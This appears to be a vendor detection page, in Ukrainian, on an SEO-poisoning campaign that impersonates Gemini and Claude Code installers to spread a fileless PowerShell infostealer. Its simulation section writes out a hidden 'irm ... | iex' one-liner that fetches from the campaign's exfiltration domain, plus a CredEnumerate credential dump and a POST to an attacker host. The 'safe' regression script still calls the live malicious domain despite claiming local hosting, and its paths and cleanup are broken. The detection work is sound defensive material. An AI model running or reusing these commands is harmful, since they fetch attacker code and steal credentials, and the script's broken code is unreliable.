SOC Prime Bias: Середній

25 May 2026 16:29 UTC

Кампанія з отруєння SEO використовує приманки Gemini та Claude Code для доставки інфостілера

Author Photo
SOC Prime Team linkedin icon Стежити
Кампанія з отруєння SEO використовує приманки Gemini та Claude Code для доставки інфостілера
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Актори eCrime, що керуються фінансовою мотивацією, використовують SEO-поінг для просування фейкових доменів, які імітують інсталятори для AI помічників з кодом. Жертви, які копіюють і вставляють одну команду PowerShell з цих сторінок, активують безфайловий інфостілер, що виконується повністю в пам’яті. Шкідливе програмне забезпечення викрадає облікові дані, cookie-сесії, ключі VPN та конфіденційні файли перед передачею даних у зашифрованій формі на сервер командування та контролю. Кампанія спрямована на робочі станції розробників Windows і зливається з нормальною активністю, зловживаючи знайомі інструменти розробників.

Розслідування

Аналітики EclecticIQ відстежили шкідливу інфраструктуру до доменів .co.com , що забезпечують строки завантаження PowerShell через irm and iex. Скрипт першого ступеня запускає приховане вікно PowerShell із використанням Shell.Application.ShellExecute, потім завантажує додаткові типи C#, щоб зібрати облікові дані, системні дані та інші цінні дані. Експільтрація спостерігалася через HTTP і HTTPS на events.msft23.com and events.ms709.com з використанням конкретних URL-шляхів. Пасивний аналіз DNS зв’язав операцію з надійним хостинг-провайдером у Нідерландах і з ширшим кластером доменів з друкарськими помилками.

Пом’якшення

Захисникам слід виявляти і блокувати шаблон виконання irm | iex приховані вікна PowerShell і підозріле використання Add-Type , які включають виклики P/Invoke. Організації повинні застосовувати режим обмеженої мови PowerShell і використовувати AppLocker або WDAC для запобігання виконанню скриптів з інтернет-контенту. Обмеження доступу до запису в буфер обміну браузера та вимога швидкого завершення OAuth для облікових записів розробників може ще більше знизити вплив. Розробників також слід навчати уникати команд копіювання-вставки з недовірених веб-сайтів.

Відповідь

Команди безпеки повинні попереджати про процеси PowerShell, що запускаються з -WindowStyle Hidden або викликаються через Shell.Application.ShellExecute. Ці події слід корелювати з вихідними запитами HTTP до доменів, що відповідають *-setup.com or events.*.com, особливо коли з’являються шляхи /take, /process, або /validate . Якщо ця поведінка виявлена, ізолюйте уражену кінцеву точку, зберіть журнали PowerShell і проведіть судово-експертний збір даних браузера та сховищ облікових даних.

Потік атаки

Детекції

Завантаження або Вивантаження через Powershell (через командний рядок)

Команда SOC Prime
25 травня 2026

Підозрілі строки Powershell (через powershell)

Команда SOC Prime
25 травня 2026

Виклик підозрілих методів .NET з Powershell (через powershell)

Команда SOC Prime
25 травня 2026

IOC (HashSha256) для виявлення: SEO-кампанія використовується для імітації Gemini та Claude Code з метою доставки інфостілера Частина 2

Правила SOC Prime AI
25 травня 2026

IOC (HashSha256) для виявлення: SEO-кампанія використовується для імітації Gemini та Claude Code з метою доставки інфостілера Частина 1

Правила SOC Prime AI
25 травня 2026

IOC (SourceIP) для виявлення: SEO-кампанія використовується для імітації Gemini та Claude Code з метою доставки інфостілера

Правила SOC Prime AI
25 травня 2026

IOC (DestinationIP) для виявлення: SEO-кампанія використовується для імітації Gemini та Claude Code з метою доставки інфостілера

Правила SOC Prime AI
25 травня 2026

Виявлення шаблону маяка C2 із конкретними URI-шляхами [Підключення мережі Windows]

Правила SOC Prime AI
25 травня 2026

Безфайлове виконання Infostealer у Powershell [Windows Powershell]

Правила SOC Prime AI
25 травня 2026

Виконання симуляції

Передумова: Перевірка передпольоту телеметрії та базової лінії повинна бути успішною.

Обґрунтування: Цей розділ деталізує точне виконання техніки (TTP) супротивника, призначеної для активації правила виявлення. Команди і наратив ПОВИННІ безпосередньо відображати виявлені TTP і мають на меті генерувати точну телеметрію, очікувану логікою виявлення. Абстрактні або не пов’язані приклади призведуть до неправильної діагностики.

  • Опис атаки та команди:
    Зловмисник компрометує обліковий запис з низьким рівнем привілеїв і запускає однолінійний скрипт PowerShell через cmd.exe. Однолінійне використання irm (Invoke‑RestMethod) для отримання зловмисного скрипту PowerShell з events.msft23.com, передає його в iex (Invoke‑Expression) для виконання корисного навантаження повністю в пам’яті і приховує вікно PowerShell, щоб уникнути перегляду за плечем. Корисне навантаження потім завантажує тип .NET з Add‑Type для виконання перерахування облікових записів за допомогою CredEnumerate API, ексфільтрує зібрані дані через HTTPS. Усі етапи виконуються без запису файлів на диск, відповідаючи опису “безфайловий”.

    # Крок 1 – Запуск прихованого PowerShell
    powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"

    Завантажений payload.ps1 (виконується в пам’яті) містить:

    # Крок 2 – Завантаження типу .NET для перерахування облікових записів
    $type = @"
    using System;
    using System.Runtime.InteropServices;
    public class Cred {
        [DllImport(""advapi32.dll"", SetLastError=true)]
        public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials);
    }
    "@
    Add-Type $type
    
    # Крок 3 – Запуск викачування облікових даних та ексфільтрація
    $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr)
    $data = "Зібрано $count облікових даних"
    Invoke-RestMethod -Method Post -Uri https://attacker.c2/exfil -Body $data

    Ця послідовність генерує фрагменти командного рядка, яким відповідає правило Sigma:

    • powershell.exe -WindowStyle Hidden
    • irm events.msft23.com | iex
    • Add-Type
    • advapi32.dll!CredEnumerate
  • Скрипт для регресійного тестування: Наступний скрипт відтворює точну поведінку на тестовій робочій станції. Запустіть його з підвищеного запиту PowerShell.

    # Безфайлове моделювання  PowerShell Infostealer – TC-20260525-A7Z3K
    # ------------------------------------------------------------
    # Крок 1 – Виконання прихованого PowerShell, що завантажує і запускає корисне навантаження
    $command = 'powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"'
    Start-Process -FilePath "cmd.exe" -ArgumentList "/c $command" -WindowStyle Hidden
    
    # Імітований вміст payload.ps1 (розміщено локально для безпечного тестування)
    $payload = @'
    $type = @"
    using System;
    using System.Runtime.InteropServices;
    public class Cred {
        [DllImport("advapi32.dll", SetLastError=true)]
        public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials);
    }
    "@
    Add-Type $type
    
    $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr)
    $data = "Зібрано $count облікових даних"
    # Імітація ексфільтрації до безпечної кінцевої точки
    Invoke-RestMethod -Method Post -Uri "https://httpbin.org/post" -Body $data
    '@
    
    # Запис імітованого корисного навантаження до тимчасового розташування для тесту (імітація хостингу віддалено)
    $tempPath = "$env:TEMPpayload.ps1"
    Set-Content -Path $tempPath -Value $payload -Encoding UTF8
    
    # Обслуговування корисного навантаження через простий локальний HTTP-лістенер (для демонстрації)
    $listener = [System.Net.HttpListener]::new()
    $listener.Prefixes.Add("http://+:8080/")
    $listener.Start()
    Write-Host "Обслуговування імітованого корисного навантаження на http://localhost:8080/payload.ps1"
    while ($listener.IsListening) {
        $context = $listener.GetContext()
        if ($context.Request.Url.AbsolutePath -eq "/payload.ps1") {
            $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
            $context.Response.ContentLength64 = $bytes.Length
            $context.Response.OutputStream.Write($bytes,0,$bytes.Length)
            $context.Response.Close()
        }
    }
    # Примітка: Зупиніть слухача вручну після валідації.
  • Команди очищення: Видаліть тимчасові файли і зупиніть HTTP-лістенер.

    # Очищення після симуляції
    Remove-Item -Path "$env:TEMPpayload.ps1" -ErrorAction SilentlyContinue
    # Зупиніть локальний HTTP-лістенсер (якщо ще працює)
    Get-Process -Name "powershell" | Where-Object {$_.MainWindowTitle -match "payload"} | Stop-Process -Force